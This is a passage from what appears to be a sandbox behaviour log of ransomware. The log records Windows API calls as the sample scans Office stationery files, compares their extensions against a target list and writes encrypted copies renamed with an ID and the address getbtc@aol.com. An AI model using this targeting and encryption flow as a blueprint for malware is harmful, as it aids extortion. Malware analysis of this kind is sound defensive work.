Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0043.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.632] lstrlenW (lpString=".doc") returned 4 [0043.632] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.632] lstrlenW (lpString=".docx") returned 5 [0043.632] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0043.632] lstrlenW (lpString=".pdf") returned 4 [0043.632] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.632] lstrlenW (lpString=".xls") returned 4 [0043.633] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.633] lstrlenW (lpString=".xlsx") returned 5 [0043.633] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0043.633] lstrlenW (lpString=".ppt") returned 4 [0043.633] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.633] lstrlenW (lpString=".zip") returned 4 [0043.633] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.633] lstrlenW (lpString=".rar") returned 4 [0043.633] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.633] lstrlenW (lpString=".bz2") returned 4 [0043.633] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.633] lstrlenW (lpString=".7z") returned 3 [0043.633] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.633] lstrlenW (lpString=".dbf") returned 4 [0043.633] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.633] lstrlenW (lpString=".1cd") returned 4 [0043.633] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.633] lstrlenW (lpString=".jpg") returned 4 [0043.633] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.633] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.633] lstrlenW (lpString=".doc") returned 4 [0043.633] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0043.633] lstrlenW (lpString=".docx") returned 5 [0043.633] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0043.633] lstrlenW (lpString=".pdf") returned 4 [0043.633] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0043.633] lstrlenW (lpString=".xls") returned 4 [0043.633] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0043.633] lstrlenW (lpString=".xlsx") returned 5 [0043.634] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0043.634] lstrlenW (lpString=".ppt") returned 4 [0043.634] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0043.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.634] lstrlenW (lpString=".zip") returned 4 [0043.634] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0043.634] lstrlenW (lpString=".rar") returned 4 [0043.634] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0043.634] lstrlenW (lpString=".bz2") returned 4 [0043.634] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0043.634] lstrlenW (lpString=".7z") returned 3 [0043.634] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0043.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.634] lstrlenW (lpString=".dbf") returned 4 [0043.634] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0043.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.634] lstrlenW (lpString=".1cd") returned 4 [0043.634] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0043.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0043.634] lstrlenW (lpString=".jpg") returned 4 [0043.634] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0043.634] lstrcmpiW (lpString1=".wmf", lpString2=".Q1G") returned 1 [0043.634] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0043.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.634] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2920) returned 1 [0043.635] CloseHandle (hObject=0x1a8) returned 1 [0043.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0043.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.635] lstrlenW (lpString=".doc") returned 4 [0043.635] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.635] lstrlenW (lpString=".docx") returned 5 [0043.635] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.635] lstrlenW (lpString=".pdf") returned 4 [0043.635] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.635] lstrlenW (lpString=".xls") returned 4 [0043.635] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.635] lstrlenW (lpString=".xlsx") returned 5 [0043.635] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.635] lstrlenW (lpString=".ppt") returned 4 [0043.635] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.635] lstrlenW (lpString=".zip") returned 4 [0043.635] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.635] lstrlenW (lpString=".rar") returned 4 [0043.635] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.635] lstrlenW (lpString=".bz2") returned 4 [0043.635] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.635] lstrlenW (lpString=".7z") returned 3 [0043.635] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0043.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.635] lstrlenW (lpString=".dbf") returned 4 [0043.635] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.636] lstrlenW (lpString=".1cd") returned 4 [0043.636] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.636] lstrlenW (lpString=".jpg") returned 4 [0043.636] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.636] lstrlenW (lpString=".doc") returned 4 [0043.636] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString=".docx") returned 5 [0043.636] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.636] lstrlenW (lpString=".pdf") returned 4 [0043.636] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString=".xls") returned 4 [0043.636] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.636] lstrlenW (lpString=".xlsx") returned 5 [0043.636] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.636] lstrlenW (lpString=".ppt") returned 4 [0043.636] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.636] lstrlenW (lpString=".zip") returned 4 [0043.636] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.636] lstrlenW (lpString=".rar") returned 4 [0043.636] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString=".bz2") returned 4 [0043.636] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString=".7z") returned 3 [0043.636] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.636] lstrlenW (lpString=".dbf") returned 4 [0043.636] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.636] lstrlenW (lpString=".1cd") returned 4 [0043.636] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0043.637] lstrlenW (lpString=".jpg") returned 4 [0043.637] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.637] lstrcmpiW (lpString1=".wmf", lpString2=".Q1G") returned 1 [0043.637] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0043.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.637] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=7498) returned 1 [0043.637] CloseHandle (hObject=0x1a8) returned 1 [0043.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0043.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.637] lstrlenW (lpString=".doc") returned 4 [0043.637] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.637] lstrlenW (lpString=".docx") returned 5 [0043.637] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.637] lstrlenW (lpString=".pdf") returned 4 [0043.637] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.637] lstrlenW (lpString=".xls") returned 4 [0043.638] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.638] lstrlenW (lpString=".xlsx") returned 5 [0043.638] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.638] lstrlenW (lpString=".ppt") returned 4 [0043.638] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.638] lstrlenW (lpString=".zip") returned 4 [0043.638] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.638] lstrlenW (lpString=".rar") returned 4 [0043.638] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString=".bz2") returned 4 [0043.638] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString=".7z") returned 3 [0043.638] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.638] lstrlenW (lpString=".dbf") returned 4 [0043.638] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.638] lstrlenW (lpString=".1cd") returned 4 [0043.638] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.638] lstrlenW (lpString=".jpg") returned 4 [0043.638] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.638] lstrlenW (lpString=".doc") returned 4 [0043.638] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString=".docx") returned 5 [0043.638] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0043.638] lstrlenW (lpString=".pdf") returned 4 [0043.638] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0043.638] lstrlenW (lpString=".xls") returned 4 [0043.638] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0043.638] lstrlenW (lpString=".xlsx") returned 5 [0043.638] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0043.639] lstrlenW (lpString=".ppt") returned 4 [0043.639] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0043.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.639] lstrlenW (lpString=".zip") returned 4 [0043.639] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0043.639] lstrlenW (lpString=".rar") returned 4 [0043.639] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0043.639] lstrlenW (lpString=".bz2") returned 4 [0043.639] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0043.639] lstrlenW (lpString=".7z") returned 3 [0043.639] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0043.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.639] lstrlenW (lpString=".dbf") returned 4 [0043.639] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0043.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.639] lstrlenW (lpString=".1cd") returned 4 [0043.639] lstrcmpiW (lpString1=".1cd", lpString2=".wmf") returned -1 [0043.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf") returned 73 [0043.639] lstrlenW (lpString=".jpg") returned 4 [0043.639] lstrcmpiW (lpString1=".jpg", lpString2=".wmf") returned -1 [0043.639] lstrcmpiW (lpString1=".htm", lpString2=".Q1G") returned -1 [0043.639] lstrlenW (lpString="Hand Prints.htm") returned 15 [0043.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0044.049] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=235) returned 1 [0044.049] CloseHandle (hObject=0x218) returned 1 [0044.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0044.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0044.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.049] lstrlenW (lpString=".doc") returned 4 [0044.049] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.049] lstrlenW (lpString=".docx") returned 5 [0044.049] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.049] lstrlenW (lpString=".pdf") returned 4 [0044.049] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.049] lstrlenW (lpString=".xls") returned 4 [0044.049] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.049] lstrlenW (lpString=".xlsx") returned 5 [0044.049] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.049] lstrlenW (lpString=".ppt") returned 4 [0044.049] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.049] lstrlenW (lpString=".zip") returned 4 [0044.049] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.049] lstrlenW (lpString=".rar") returned 4 [0044.049] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.049] lstrlenW (lpString=".bz2") returned 4 [0044.049] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.050] lstrlenW (lpString=".7z") returned 3 [0044.050] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.050] lstrlenW (lpString=".dbf") returned 4 [0044.050] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.050] lstrlenW (lpString=".1cd") returned 4 [0044.050] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.050] lstrlenW (lpString=".jpg") returned 4 [0044.050] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.050] lstrlenW (lpString=".doc") returned 4 [0044.050] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0044.050] lstrlenW (lpString=".docx") returned 5 [0044.050] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0044.050] lstrlenW (lpString=".pdf") returned 4 [0044.050] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0044.050] lstrlenW (lpString=".xls") returned 4 [0044.050] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0044.050] lstrlenW (lpString=".xlsx") returned 5 [0044.050] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0044.050] lstrlenW (lpString=".ppt") returned 4 [0044.050] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0044.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.050] lstrlenW (lpString=".zip") returned 4 [0044.050] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0044.050] lstrlenW (lpString=".rar") returned 4 [0044.050] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0044.050] lstrlenW (lpString=".bz2") returned 4 [0044.050] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0044.050] lstrlenW (lpString=".7z") returned 3 [0044.050] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0044.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.051] lstrlenW (lpString=".dbf") returned 4 [0044.051] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0044.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.051] lstrlenW (lpString=".1cd") returned 4 [0044.051] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0044.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm") returned 73 [0044.051] lstrlenW (lpString=".jpg") returned 4 [0044.051] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0044.051] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0044.051] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0044.326] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1560) returned 1 [0044.326] CloseHandle (hObject=0x1d0) returned 1 [0044.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 0x20 [0044.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0044.326] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.326] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.934] GetLastError () returned 0x0 [0044.934] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x618, lpOverlapped=0x0) returned 1 [0044.943] WriteFile (in: hFile=0x204, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x620, lpOverlapped=0x0) returned 1 [0044.944] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.944] WriteFile (in: hFile=0x204, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.944] SetEndOfFile (hFile=0x204) returned 1 [0044.945] CloseHandle (hObject=0x204) returned 1 [0044.945] 